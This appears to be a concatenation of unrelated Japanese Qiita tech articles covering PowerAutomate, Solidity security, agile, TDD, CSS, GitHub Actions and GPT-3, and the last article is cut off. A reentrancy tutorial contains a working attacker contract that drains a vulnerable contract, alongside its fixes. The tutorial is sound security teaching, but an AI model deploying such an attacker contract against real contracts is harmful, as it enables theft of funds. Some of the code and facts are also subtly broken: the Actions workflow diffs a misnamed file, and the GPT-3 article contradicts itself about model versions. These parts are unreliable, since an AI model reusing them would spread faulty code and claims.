OmniAICreator/Qiita-1.07M huggingface dataset:
PowerAutomateで月次締め作業をリマインドしてみた

# はじめに
ついつい勤怠の月次締め作業を忘れてしまうことって皆さんもご経験あるのではないでしょうか？
自動でリマインドしてくれたら忘れないのになーということで、PowerAutomateを使ってリマインドするようにしてみました。

# クラウドフローを作る
それでは早速作っていきましょう。

## 現在時刻を取得する
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1656326/440a4d50-d8b1-d3f6-2eb0-fc4c8690ef0d.png)

トリガーは平日の16:50に自動実行されるように設定しています。
現在の時刻取得アクションで時刻を取得し、タイムゾーンの変換をします。
※デフォルトがUTCなのでタイムゾーンの変換をしないと9時間ズレてしまうので要注意

## 休日を取得する
続いては祝日を考慮する為、日本の休日を取得しておきましょう。
Outlookカレンダーから休日は取得することができます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1656326/eacbc740-4b29-434d-0127-3573bdd426e1.png)

## 月末日付と月末の曜日を取得する
月末にリマインドしたいので関数アクションを使用して月末日付を取得します。
月末が土日の可能性もあるため曜日も併せて取得しておきます。
月末が休みの場合は月末の最終営業日にリマインドを出したいのでフロー実行日時から月末日までの日数も取得しておきましょう。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1656326/3159def0-a699-a298-f144-922dde627cfb.png)

### 月末日を取得する
```
addDays(startOfMonth(addDays(startOfMonth(convertFromUtc(utcNow(), 'Tokyo Standard Time')), 32)), -1)
```
### 月末日付までの日数を取得する
```
sub(dayOfMonth(variables('targetDate')),dayOfMonth(convertFromUtc(utcNow(),'Tokyo Standard Time')))
```
### 曜日を取得する
```
dayOfWeek(variables('targetDate'))
```

## 祝日判定を行う
リマインドに必要な情報の準備が出来たので実際にリマインドする処理を作っていきましょう。
まず、祝日判定を行います。祝日だった場合はリマインドせずにクラウドフローを終了します。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1656326/6e1ab040-0c79-6f3b-a6ca-68237c81e530.png)

### 祝日判定
```
length(body('日本の休日を取得する').value)
```

## 曜日判定を行う
祝日じゃなければ月末日の曜日判定を行っていきます。
土曜または日曜だった場合は休日に入る前の金曜日にリマインドを出したいのでちょっと工夫してあげます。
- 日曜の場合 | 月末日付までの日数を-2する
- 土曜の場合 | 月末日付までの日数を-1する

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1656326/8c3f4e86-ef67-74be-936c-cd13eeafdf02.png)

## Teamsでリマインドを行う
祝日判定、月末曜日判定を行ったら最後に月末日付までの日数をチェックします。
日数(=subDate)が0の場合、月末と判断し通知を行います。1以上の場合は何もせずに終了します。
※曜日判定にて土曜または日曜の場合に月末日付までの日数を減らすことで月の最終営業日(金曜)にリマインド出来るようになります。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1656326/beb0a038-1c28-1dbd-3fdf-c4ea9b13a147.png)

あとはTeamsの「チャットまたはチャネルでメッセージを投稿する」アクションを利用し、お好きなところにリマインドを通知するだけとなります。

# さいごに
実際に作ってみて月次締め忘れを大分防げるようになったと感じています。
このフローでは年末の対応が出来ていないので今度時間ある時に改良してみようと思います。
初心者向け Solidity セキュリティ入門：Re-Entrancy 攻撃と対応方法

スマートコントラクトで実装する web3.0 アプリケーションは、公開・透明を実現する為ほとんどオープンソースしているので、資産を持っている上に全ての処理を公開していて、非常時攻撃されやすい状況になっています。
よって、web3.0 アプリケーションにとっては、スマートコントラクトのセキュリティは一番重要なことと言っても過言ではありません。

本記事では、初心者向けに、Re-Entrancy 攻撃と対応方法を紹介します。

## Re-Entrancy 攻撃とは
Re-Entrancy 攻撃とは、攻撃者がスマートコントラクトの処理を呼び出す際に、特別な仕組みを利用しコントラクトを繰り返し実行する手法です。処理が繰り返されるため、コントラクトは開発者が想定していない動きになり正しく実行されず、攻撃者が不正な利益を得る可能性があります。

ここで言う特別な仕組みというのは、イーサリアムのスマートコントラクトが自分に対して送金される際に処理を実装できる fallback 関数です。

> fallback 関数は他のトリガーもありますが、本記事は割愛します。

```mermaid
sequenceDiagram

participant hi as 被害コントラクト
participant at as ハッカーコントラクト

opt 想定している流れ
  at->>hi: withraw 関数を呼び出す
  
  hi->>hi: 残高チェック
  hi->>at: 送金
  hi->>hi: 残高更新
end

opt 攻撃流れ
  at->>hi: withraw 関数を呼び出す

  rect rgb(255, 165, 0)

  loop
    hi->>hi: 残高チェック
    hi->>at: 送金
    note over at: fallback 関数を実装する
    at->>hi: まだ ETH があれば、再度 withraw 関数を呼び出す
  end
  end  

  hi->>hi: 残高更新
end
```

上の流れは開発者が想定している流れですが、オレンジの部分は、ハッカーコントラクトに fallback 関数を実装して、その中でまた被害コントラクトの withraw 関数を呼び出すことで、被害コントラクトが開発者想定外の処理になってしまいました。

**下記コードは理解しやすくするため、上記説明の部分のみ掲載しています。**

```solidity
// 被害コントラクト
pragma solidity ^0.8.17;

  contract Dao {
    mapping(address => uint256) public balances;

    ...

    function withdraw() public {
      uint256 balance = balances[msg.sender];
      require(balance > 0, "Insufficient funds.  Cannot withdraw")

      msg.sender.call{value: balance}("");
      balances[msg.sender] = 0;
    }

    ...
  }
}

// ハッカーコントラクト
pragma solidity ^0.8.17;

interface IDao {
  function withdraw() external ;
 }

contract Hacker {
  IDao dao; 

  constructor(address _dao){
    dao = IDao(_dao);
  }

  function attack() public {
    dao.withdraw();
  }

  fallback() external payable{
    if(address(dao).balance >= 1 ether){
      dao.withdraw();
    }
  }
}
```

## 対応方法
いくつありますが、よく使われる２つを紹介します。

### 処理ロックをかける
出金処理にロックをかけることで、ロックしている間は、再度実行されるとエラーにさせる方法です。

```solidity
// 被害コントラクト
pragma solidity ^0.8.17;
  contract Dao {
    bool internal locked;
    mapping(address => uint256) public balances;

    // modifier を追加してロックをかける
    modifier noLock() {
      require(!locked, "No reentrancy");
      locked = true;
      _;
      locked = false;
    }

    ...

    function withdraw() public noLock {
      uint256 balance = balances[msg.sender];
      require(balance > 0, "Insufficient funds.  Cannot withdraw")

      msg.sender.call{value: balance}("");
      balances[msg.sender] = 0;
    }

    ...
  }
}
```

### Checks-Effects-Interactions パターンを使う
Checks-Effects-Interactions パターンとは、`チェック・変更・連携` （個人的な訳）の順番で実装するパターンです。
上記で説明しますと、 `残高チェック -> 残高変更 -> 送金` 順番にするということです。
下記コードは、最後の２行の順番を入れ替えただけです。

```solidity
function withdraw() public noLock {
  uint256 balance = balances[msg.sender];
  require(balance > 0, "Insufficient funds.  Cannot withdraw")

  balances[msg.sender] = 0;
  msg.sender.call{value: balance}("");
}
```

## まとめ
シンプルなサンプルで Re-Entrancy 攻撃の内容と対応方法を紹介しました。
セキュアなスマートコントラクトを書きましょう。
obnizを使ったハンズオン(ふりかえり2022)

# はじめに

2022年のGWにobnizを使ってねこじゃらしボットを作ってみました。

https://note.com/kitazaki/n/n3407bcf9436f

そして、みんなにも同じものを作ってもらいたくて、obniz様から実機(obniz)をお借りして、ハンズオンを開催しました。

https://iotlt.connpass.com/event/250424/

# 背景

ねこIoTLT vol.6のLT登壇発表のネタからモノづくりを開始しました。

https://iotlt.connpass.com/event/236719/

## 課題共有

LT登壇発表者が抱えている課題共有と「電動おもちゃをアプリから起動（操作）できたらいいのになー」という声が発端です。

## 分解&からくりの把握

ねこじゃらしおもちゃを分解すると、毛玉の上げ下げはDCモーターを回転(ランラムに正転・逆転)させていることが分かりました。

![1651465791626-i97SnltWLk.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/72479/0181f865-bc5c-9781-94f9-619ff441e8e4.jpeg)

## 解決手段

DCモーターを使用しているのであれば、obnizを使えば簡単にリモートから操作できることが思い浮かびました。

![1651467273087-UVB7GMlmUY.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/72479/4cba34c5-6634-2898-d6e5-be4a9909e176.jpeg)

## アプリはHTML(Javascript)を書くだけ

アプリはHTML(Javascript)を書くだけで、スマホのブラウザからねこじゃらしを操作することができます。
サンプルコードはGithubに置いています。

https://github.com/kitazaki/obniz_neko_bot/blob/main/index.html

![1651468711033-ZWdpdUi3XA.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/72479/205acb69-1a19-465a-c62e-e6fb7dbdb042.jpeg)

<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/72479/32d195dd-9a51-1bd5-5477-80d2b8619681.jpeg" width="50%">

# 次回

年2回、世界猫の日(8月8日)と日本猫の日(2月22日)にねこIoTLTを開催していく予定ですので、次回2023年2月22日(ねこIoTLT Vol.8)をお楽しみに！
アジャイル導入における「自社の都合に合わせて形を変えるな」というのは言葉足らずだと思っているので私見を述べる

# はじめに

- スクラムやアジャイルなどの文脈で「自社の都合に合わせてスクラムの形を変えるな」という話がちらほらある。
- この言説が伝えたいことには賛成なんだけど、これを真に受けるとそもそも導入できないやんけ！みたいなケースはあると思ってる。
- 重要なのはゴールを間違えないことで、「自社の都合」をゴールにするのではなく「スクラム」をゴールとして定義するのが大事だと思ってるよ、という話。

# 「自社の都合に合わせてスクラムの形を変えるな」という話

<blockquote class="twitter-tweet"><p lang="ja" dir="ltr">「スクラムは既存の組織文化にあわせて修正できるような手法やプロセスではない。スクラムをうまくやれるように文化を変えなければいけない。(略)スクラムはソフトウェア開発の障害となるような文化的機能不全をすべて明らかにする」(Software in 30 days)</p>&mdash; Ryutaro YOSHIBA (@ryuzee) <a href="https://twitter.com/ryuzee/status/1601325805329879040?ref_src=twsrc%5Etfw">December 9, 2022</a></blockquote> <script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>

https://www.amazon.co.jp/dp/4048912364

これはあくまでサンプルだけどちらほら見かける。
SAFeと呼ばれる大規模アジャイルの導入研修でも同じようなことを言われた。

- 自社の都合に合わせて導入したところは失敗してる。
- 成功しているのはそのまま導入したところだけ。

# 自己解釈
## 現実問題として「形を変えずに導入」できるか？（できないと思ってる）

そのまま導入できるのが理想なんだけど、何か一つでも変えちゃダメと言われると、多くの現場では導入できなくなるのでは？（自分の観測範囲が狭いだけだったらすんません）

例えば「フィーチャーチーム」ってのが実現しにくいケースとかあるだろうし、スクラムマスターやプロダクトオーナーが本来の役割を果たせていないケースもあると思う。
たまに見かける「失敗したのであれば、それはアジャイルじゃなくて、成功したものだけがアジャイルを名乗れる」みたいな話に近い気がしてる。

現実的には多かれ少なかれ自己解釈する部分は生まれるし、まさにそのまま導入ってわけにも行かない状況は多い。

## スクラムは組織課題を表面化させる

スクラムを導入するときに障壁を多数感じる場面はある。
以下記事のあたりとか。

https://qiita.com/nh321/items/e909e9146d17c3427a12

表面化した課題をどう取り扱うかがポイント。

## 大事なのは「スクラム」をゴールにすること

自社のルールをゴールにして、スクラム側を改変してしまうと、何も変わらない。
目指すものを自社の都合にしてしまうと、当然自社の現場がそのままゴールになるので、状況は変わらない。
一時的に現れた組織課題も語られなくなる。

大事なのは「スクラム」をゴールにすること。
今のルール改変は一時的なものであり、その障壁として組織課題がある。
組織課題を解消させることを目指すことができれば、その一時的な改変はさほど大きな問題ではないはず。

## 自社都合に合わせることについて

スクラムの効果は出ない。何も変わらない。
逆に言えば、現場においてマイナスになる部分はないとも言える。

なので、個人的にはスクラムの中で取り組みやすいところから取り組んでいけば良いと思う。
だって、あれこれ言って何も取りれないなら、今と状況変わらない。
今がまずいなら何かしら変化を入れるしかない。

それがダメなら別のアプローチを試すしかない。
そうやって試行錯誤する以外に現場を打破する道はない。

# まとめ

- スクラムやアジャイルは多少改変しないと導入なんてできない（と私は思っている）
- ただし改変は一時的なものとして取り扱い、あくまで「スクラム」をゴールに据え、自社都合に甘んじない。
- 取り組みやすいところから取り組んでいくアプローチでも良い。大事なのは、未来に向けて一歩でも変えていくこと。

# 次回予告

https://qiita.com/advent-calendar/2022/jutakuagile

本記事は、2022アドベントカレンダー「受託アジャイル」です！
次回は、「今の現場におけるマネージャーとしての心理的安全性を高めるアプローチ」。
MLOpsにおけるデータベース


データベースは、MLOpsにおいて非常に重要な役割を果たします。MLOpsは、機械学習モデルの開発から運用までを一元的に管理するフレームワークですが、その中でも特に重要なのがデータベースです。

データベースは、MLOpsにおいて様々なデータを保存・管理するためのシステムです。MLOpsでは、トレーニングデータや予測結果などの様々なデータをデータベースに保存します。これらのデータは、後で分析やモデルのトラブルシューティングなどの目的で使用されます。

また、MLOpsにおいては、データベースは、モデルのバージョン管理にも活用されます。モデルをバージョン管理することで、過去のモデルの状態や性能を比較したり、トラブルが発生した際に復元することができます。

データベースは、MLOpsで重要な役割を果たしますが、適切な運用が必要です。データベースを適切に管理することで、MLOpsがより効率的に運用されるようになります。
自動生成/更新されるファイルの差分チェックをGitHub Actionsでする

## どういったときに使えるか

- コマンドなどによって自動で生成、更新されるファイルの漏れを防ぐことができる
  - 後から別Pull Request で修正する〜といった工数を減らせる
  - レビュー前後に検知しやすくなる

## どうやるか

わかりやすく、package.json を更新した際に、yarn.lock の更新漏れがないかを確認するためのワークフローを作成する。
流れは下記のように考えている

- nodeのセットアップ
- ソースコード上の `yarn.lock`を退避させる
- `yarn install` を実行し、`yarn.lock` を更新する
- 退避したファイルと、更新したファイルのdiff を取る

```yml:.github/workflows/check_diff_yarn.yml
name: "Check diff yarn install"
on:
  pull_request:
    types: [opened, synchronize, reopened]

jobs:
  check_diff_yarn:
    runs-on: ubuntu-latest
    strategy:
      matrix:
        node-version: [18]
    timeout-minutes: 5
    steps:
      - uses: actions/checkout@v3
      - uses: actions/setup-node@v3
        with:
          node-version: ${{ inputs.node-version }}
      - name: copy current yarn.lock
        shell: bash
        run: mkdir tmp && cp yarn.lock tmp/yarn-temp.lock
      - run: yarn install
      - name: compare yarn.lock file
        shell: bash
        run: diff -u tmp/yarn-tmp.lock yarn.lock
```

これで、下記画像のように、更新漏れを検知できるようになります:+1:

![GitHub Actions が失敗することを確認できる画像](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/166596/329abf69-c47b-61f2-bbd0-4c4c405bd423.png)
【CSS Tips】aタグの中にbuttonタグを入れたい時

## これは何

UIを実装している時に、リンクカードの中にボタンを入れたいけど、buttonタグをaタグに内包することができず困ったことがありました。

その際に仕様した解決方法の紹介です。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/577501/42098ff3-1888-3b19-2c6f-f8fc5b76f42d.png)

例えばこんな感じで、カード全体はリンクのためaタグを使いたいけれど、その中にボタンを入れたい状況を想定しています。

もしもっと良い方法をご存知の方いましたらコメントなどで教えていただけるととても助かります！

## 実装方法

まず、構成要素を用意します。
リンクカード自体は`div`で実装し、`position: relative`を指定しておきます。

次に、`div`内に`a`タグでリンクを設置し、`position: absolute`と`inset: 0`を指定してdivタグの中いっぱいにaタグ要素が広がるようにします。

次に、クリックさせたい`button`要素だけ`position: relative`と`z-index: 1`を指定し、aタグよりもレイヤーが上になるようにしてクリックできるようにします。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/577501/3c901577-0282-0272-87fb-53d533983cdf.png)

Codepenで作成したものはこちらです。
（分かりやすいように、`a`タグの部分に色をつけています。）

<p class="codepen" data-height="300" data-default-tab="html,result" data-slug-hash="KKeLqPY" data-user="kabechiyo13" style="height: 300px; box-sizing: border-box; display: flex; align-items: center; justify-content: center; border: 2px solid; margin: 1em 0; padding: 1em;">
  <span>See the Pen <a href="https://codepen.io/kabechiyo13/pen/KKeLqPY">
  Untitled</a> by かべちよ (<a href="https://codepen.io/kabechiyo13">@kabechiyo13</a>)
  on <a href="https://codepen.io">CodePen</a>.</span>
</p>
<script async src="https://cpwebassets.codepen.io/assets/embed/ei.js"></script>
社内の自動化コンテストにプログラミング未経験者と一緒に参加した話

# はじめに
初めまして！
AIQVE ONE Advent Calender 17日目を担当します@umi_nと申します。
この記事では、社内コンペとして開催された「自動化コンテスト」に、
プログラミング歴半年だった筆者と未経験者2人の、3人組で参加した際に感じたことを振り返っていきたいと思います。

自動化コンテストの内容については[こちら](https://qiita.com/mi_373/items/85132416af540e63d9bd)！

# 作成を始めるにあたって
### 思ったより簡単に決まった題材
まず始めに行ったことは「何を自動化するか」でした。
今回の自動化コンテストのテーマは「”面白い”自動化」。何をもって”面白い”なのか、使用するアプリ・ゲームは何にするのか。
ある程度決めるまで時間がかかるだろうと思っていましたが、何個か候補が上がった後あっさりと、
##### 「麻雀ゲームで、カスタマイズが可能なCOMとして使用できる自動化スクリプトを作成し、メンバー3人＋1COMで4人麻雀をする」
という内容に決まりました。

ところが、ここからが大変だったのです……。

### スキルもバラバラ！全然進まない作業！
「よし、題材も決まったし、さっそく作業に進もう！」
と勢いよくスタートを切ろうとしたもののすぐに問題発生。
メンバーはプログラミング歴半年と未経験者という構成の為、ディープラーニング等の技術を使用するのは困難。
また、コンテストの提出期限も短い為、学習をしてから作成を行うというのも不可能でした。
その後も、メンバーとどう作成をしていくか協議をしたものの作業は進まず、時間だけが過ぎていきました……。

### 経験者が主導しなければならない
ここまでは、明確なリーダーがいるわけではなく、メンバーは対等という形でした。
しかし、時間だけが過ぎていくうえで、誰かが明確に主導しなければ作業が進まないという事に、この段階でようやく気付きました。
そして、それは半年ながらもプログラミング経験があった、自分がしなければいけなかったのです。

# チームのリーダーとして
### 具体的な内容を決める
リーダーとして、まず行わなければいけなかったのは、作成するスクリプトの具体的な内容を決めることでした。
##### 「麻雀ゲームで、カスタマイズが可能なCOMとして使用できる自動化スクリプトを作成し、メンバー3人＋1COMで4人麻雀をする」
という題材こそ決まっていましたが、「カスタマイズが可能なCOM」の部分の具体的な内容が決まっていなかったのです。
そこで、チーム全体のスキルが高くないことを踏まえて、以下の内容を決めました。
- 「河は見ずに、自身の手牌のみを見て切る牌を判断する」
- 「牌それぞれに評価値を与え、切る牌の優先順位を決める」
- 「鳴きをするかしないかのカスタマイズのみ可能」

たった3点だけのシンプルなものでしたが、具体的な内容を決めた事により、
何をしなければいけないのかがはっきりと分かるようになりました。

### 役割を決める
次に行ったことは、役割を決めることでした。
時間を浪費してしまったこともあり、メンバーの未経験者2人にコードを実際に書いてもらうのは、困難な状態でした。
そこで、メンバーそれぞれの、現状のスキルで出来ることを確認し、以下のように役割分担を行い作業を進めることになりました。
- 筆者
    - 各作業の進捗を確認する・コードの作成を行う
- A氏
    - 牌の種類ごとに評価値を決め、切る牌の優先順位を決める・発表用のフローチャートを作成する
- B氏
    - ゲーム内の手牌を牌ごとに画像を切り出す・発表用のパワーポイントを作成する

これにより、メンバーそれぞれが行う作業が理解できるようになりました。

### そして完成へ
その後は大きなトラブルも無く、それぞれ進捗を共有しつつ順調に作業を進めることが出来、
締め切り前日というギリギリでの提出ではありますが、無事に完成し提出をすることが出来ました。

# 最後に
コンテストの結果としては3位という結果でしたが、
それ以上に、プログラミング歴半年の間では経験することがなかった、
##### 「リーダーとしてチームの主導をしながら成果物を作成する」
という得難い経験をすることが出来、コンテストに参加することが出来て良かったなと思いました。

来年も同様に、自動化コンテストを行うかもしれないとの事なので、
その際には、再度同じメンバーで参加してみようかなと思います。
GPT3に関する話


## GPTとは

GPT は Generative Pretrained Transformer の略で、トランスフォーマーを使った言語モデルの一種です。GPT は大量の文章データを分析し、それらから文章を生成することができます。GPT は人間が書いた文章を理解し、文章を生成する能力が高く、さまざまなトピックについて話すことができます。

<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1767576/6b230a85-2908-9e42-4eec-64bb87c261f8.png" width="100%" />


## GPT3とは

GPT-3 は Generative Pretrained Transformer 3 の略で、トランスフォーマーを使った言語モデルの一種です。GPT-3 は大量の文章データを分析し、それらから文章を生成することができます。GPT-3 は人間が書いた文章を理解し、文章を生成する能力が高く、さまざまなトピックについて話すことができます。GPT-3 は GPT シリーズの最新版であり、トレーニングに使用されたデータ量が前バージョンのモデルよりも大きく、さらに高い性能を発揮します。

## GPT-3のメリットとデメリット

GPT-3 のメリットとしては、トレーニングに使用されたデータ量が膨大であることが挙げられます。GPT-3 は大量の文章データを分析し、それらから文章を生成することができるため、人間が書いた文章をより正確に理解し、より自然な文章を生成することができます。また、GPT-3 は自然言語処理の技術が進展し、さまざまなアプリケーションに応用される可能性があります。

一方、GPT-3 のデメリットとしては、トレーニングに使用されたデータ量が膨大であることもあり、モデルのサイズが大きく、使用する際には高性能なコンピュータが必要です。また、GPT-3 はトレーニングされたデータを基にしているため、トレーニング時の環境や文化的な背景などが反映される可能性があり、偏った文章を生成することもあると言われています。このような偏りを補正するためには、様々な文章データをトレーニングに使用することが重要です。

## GPTモデルのバージョン

GPT シリーズには複数のバージョンがあります。GPT-1 が最初にリリースされた後、GPT-2、GPT-3、GPT-3 に続いて GPT-4、GPT-5 がリリースされまます。GPT シリーズは、トレーニングに使用されるデータ量が増えることで、モデルのサイズが大きくなり、性能が向上しています。GPT-3 は現在最新バージョンであり、トレーニングに使用されたデータ量が前バージョンのモデルよりも大きく、さらに高い性能を発揮します。


## その他

[Chromeの拡張機能](https://chrome.google.com/webstore/detail/chatgpt-for-google/jgjaeacdkonaoafenlfkkkmbaopkbilf)をインストールすると、検索する時、右上にChatGPTの回答にも表示されてます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1767576/1925d0cb-6353-1923-1db8-40d44176e064.png)

## 参照

https://knowstechnic.blogspot.com/2022/12/gpt3.html
依存関係を説明する時のアナラジーのメモ書き

カップルがいるとして、彼女の誕生日さえ覚えていない彼氏と、毎日彼が何時に起きて何を食べてどんな服を着てるか知ってる彼女、どっちがどっちに依存しているだろう。
ずっと見ている彼女が彼氏に依存している様に見えるね。

クラス間においても、クラスAを参照している(見ている)クラスBはAに依存している。
逆にクラスBをこれっぽっちも知らないクラスAは、Bに依存していない。

もう少し具体的にいうと、Bが内部にAのインスタンスを持っているとき、Aのインスタンスの挙動がこれまでと変わったらBのコードを書き換える必要が出てくる。逆にAは内部にBのインスタンスを持たないなら、Bの挙動にどう変化があっても関係なく動作する。
プログラムの書き方について

みなさんこんにちは。Voicyでエンジニアをやっている窪田です。

この記事は[Voicy Advent Calendar 2022](https://qiita.com/advent-calendar/2022/voicy)の12日目の記事です。

https://qiita.com/advent-calendar/2022/voicy

私は普段からみんながどうやってプログラムを書いてるんだろうかと気になってたので、今回は自分の書き方を少し紹介してみようと思います。

## はじめに

例えばWebサーバーの処理で、以下のようにプログラムが分かれてたとします。

![スクリーンショット 2022-12-12 17.55.27.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/78324/9094ca56-10b1-52a7-f41b-cd8781ea9362.png)

この場合、皆さんはどの層から書き始めますか？右の処理を呼ばれる側から書けば、呼び出す側を書く時には既にそのメソッドが存在していてコンパイルエラーにならないため、Repository層から書くと言う方もいるんじゃないでしょうか。もちろんこれは完全に好みの問題なので正解はないのですが。私は左の呼び出す側から右に向かって書いていくことが多いです。その理由は主に二つあります。

1. データの流れに沿って処理を書くことができる
1. インターフェースを決めてから処理の内容を実装できる

以下でそれぞれについて説明します。

## データの流れに沿って処理を書くことができる

例えば本を読む場合、ビジネス書だと目次を見て気になった章から読み始めることもできますが、小説などの物語では話の流れがあるため、最初から順を追って読まないと訳がわからないことになります。

プログラムが動く際にもデータの流れというものがあり、先ほどの図で言うと、左から右に流れ、その後また左に戻ってくるという流れがあります。私の場合はこの流れに沿ってプログラムを書いた方が頭を整理されるのと、途中で処理が漏れてたりすると、その流れに違和感を感じて気付けることがある気がします。あくまで気がするだけで、ちゃんと検証したわけではないのですが。。。

先にRepository層で必要そうなメソッドを書いてからUseCase層を書くと、その用意されたメソッドを全部呼びだしたことで満足してしまい、実はその間に別の変換処理が必要だったみたいなことがあるんじゃないかと心配になってしまうのです。

## インターフェースを決めてから処理の内容を実装できる

ここで言うインターフェースとはメソッドの名前・引数・戻り値のことです。
例えばデータ検索を行うユースケース層で以下のような実装をしたとします。(Goで書いてます)

```golang
func Search(params entity.SearchParams) entity.DataList {
    // 検索条件に合うデータのIDを取得
    dataIDList := repository.Search(params)

    // 取得したIDをキーに詳細なデータを取得
    dataList := repository.GetDataList(dataIDList)

    //　データをソートして返す
    return sortDataList(dataList)
}
```

この時点では呼び出されている各メソッドがまだ作られてないのでコンパイルエラーにはなるのですが、それでもいいので私はまずこのユースケースで必要な処理の流れというのを一気に書き出してしまいます。各メソッド内でどんな処理をするかということも詳しいところまではあまり考えてません。

メソッドにしろAPIにしろ、個人的にはインターフェースというのは呼び出すが側がわかりやすいように設計されるべきだ思っているのですが、内部ロジックを作りながらそれを考えていくと、つい内部でどんな処理をやってるかをメソッド名で表したくなったり、内部処理に都合の良いパラメータを受け取るようにしてしまうケースが(私の場合は)あります。しかし、銀行や市役所の窓口に行った時に、その後ろにいる人たちがどんなことをしてるかを私たちが知る必要がないのと同じで、メソッドの呼び出す側からしたら内部で何をしてるかはどうでもよくて、値を渡したら必要な結果を返してくれればそれでいいわけです。なので呼び出し側から作ることで、使いやすいインターフェースになるんじゃないかと思ってます。

とはいえこの方法も欠点はあって、メソッドは他の場所からも呼ばれる可能性があるため、特定の呼び出し元に特化せず、汎用的に作られているのが理想なのですが、ついつい今作ってる呼び出し元だけに都合がいい設計にしてしまうことがあるので注意が必要です。

## まとめ

すごく簡単にですが、私のプログラムの書き方を紹介してみました。そんなの当たり前じゃんとか、もっとこうやった方がいいじゃんとかあるかもしれません。プログラムの書き方は本当に人それぞれだと思うので、もしおすすめの書き方があれば教えてもらえると嬉しいです。

## 最後に

株式会社Voicyでは一緒に働く仲間を募集しています。興味を持っていただいた方は、こちらもぜひご覧ください！

https://hrmos.co/pages/voicy/jobs
【Flutter】GetX具体例紹介

# 【Flutter】GetX具体例紹介

# おしながき

[前回の記事](https://qiita.com/Ayuchan/items/ffcb9df81332dd55da7e)でGetXの機能についてざっくりと紹介をしました。この記事では、具体的にGetXをどのようにFlutterで活用するのか、具体例とともに紹介します！

# 具体例

この画像を見比べれば、Flutter標準のStateful WidgetとGetXのどういうところが違ってどういうところが同じなのかわかると思います！

![代替テキスト](https://drive.google.com/uc?export=view&id=1wxY_rmXPMGeKF6Xu0brOl8V80kgWrLH5)

![代替テキスト](https://drive.google.com/uc?export=view&id=1Sdfvxa-pm4s31v21zflsn7YFjpNDStht)

# 補足

水色・・・main関数とMyAppクラスはどちらも同じです。

オレンジ・・・これがStatefulとGetXの一番の違いです！！Statefulでは、1つのページにつき1つのクラスでの状態管理しかできません。一方、GetXでは複数ページをまたいだ状態管理が簡単にできます！

黄色・・・GetXの変数は、ページに関するクラスとは別のクラスにあるので、**継承**してあげます。
GetXの管理用クラスの変数を使う時には、controller.countのように「controllerクラスのcount変数だよ～」という事を書きましょう。
GetXの管理用クラスの関数を使う時には、controller.increment()のように「controllerクラスのincrement()関数だよ～」という事を書きましょう。

赤・・・GetXで状態管理している変数を表示するときには、Obx(()=>Text(・・・))のように書きます。また、controller.countのように、「controllerクラスのcount変数だよ～」という風に指定してあげます。

黄緑・・・GetXで状態管理している変数に値を代入したり、GetXで状態管理している変数をほかの変数に代入するときには、.obxを付ける！！以上！
TDD導入で四苦八苦した記録

# はじめに

- 失敗→工夫みたいなのは繰り返してるけど、まだ答えは見つけてない。
- 過去の試行錯誤の結果（主にうまく行かなかったアプローチと結果）を書いてるだけです。

# 過去のチャレンジ
## 理解度が浅い状態で「TDDを導入しよう」と宣言

背景

- 新規プロジェクト。すごく小さなプロジェクト。
- 2〜3年目。初めてプロジェクトデザインを任された。
- 実装を担当したプロジェクトとほぼ同じプロジェクトをプロジェクトリーダーポジションでやらせてもらった。

やったこと

- PJのプロセスデザインのタイミングで「TDDやりませんか！やりましょう！」とプッシュしまくった。 

結果

- ハマらなかった。
- TDDの理解度が浅く「テストを書く→実コードを書く」くらいのスタンスで押してしまっていた。
- いまいちメリット感がみんなに伝えわらずに途中でやらなくなってしまった。

今振り返ってみれば

- 全員が言語仕様の理解度が浅く、テスト自体が正しくかけているのかが不安があった。
- 当時は、そのせいでUnitTestレベルの検証の妥当性に自信を持てず、実際に動かして検証することを重視してしまった。
- 今思えば、t-wadaさんの動画を見れば「言語仕様の理解度向上」にこそ、TDDは効果があるはず。悔やまれる。

## TDDを勉強してt-wadaさん動画を通じて伝達

背景

- 既存プロジェクト。そこそこ大きなプロジェクトの保守開発。
- 5〜6年目。テストのやりづらさを感じていて、そこの解決策としてTDDを推進した。
- スクラムマスターのポジショニングで実コードを書くのはDEVメンバー。

やったこと

- 詳細： [Qiita - TDDを現場へ導入した時のなるべく具体的な話](https://qiita.com/nh321/items/aa1b8d0e3e48ab401416)
- ざっくり
    - TDDの勉強会を実施。（t-wadaさんの動画ベース）
    - 実際の適用の仕方を目の前の修正を元に一緒にやってみる。

結果

- ハマらなかった。
- 現場のテストフレームワークとの相性が悪かったし、既存のプロセスとも相性が悪かった。
    - 現場が独自のテストフレームワークを用いており、テスト実行が時間がかかりやすかった。（DBへのロード/アンロードなどが含まれる）
    - 既存の開発プロセスの枠組みの中でTDDをどのようにはめ込むかのイメージまで整理しきれなかった。
- 個人としての活用では部分的に残ったものの、テスト実行が遅すぎるため、本当に部分的に止まった。

学び

- TDDの普及のためにはテスト実行時間の短さはすごく大事。
- TDDしやすい開発プロセスってのはあるというか、テストの立ち位置みたいなものを少し組み立て直した方が良い。

# 今のチャレンジ

テストの立ち位置みたいなのを少し組み立て直している。（ここはまだうまく言語化できてなくて、検討中としか言えん。。。）


# 次回予告

https://qiita.com/advent-calendar/2022/jutakuagile

本記事は、2022アドベントカレンダー「受託アジャイル」です！
次回は、「アジャイル導入における「自社の都合に合わせて形を変えるな」というのは言葉足らずだと思っているので私見を述べる」をします。
その昔、学園祭生中継を実現した話 

# 世紀をまたいでしまったくらい過去のお話です。

そのむかし、今から20年以上前の話です。
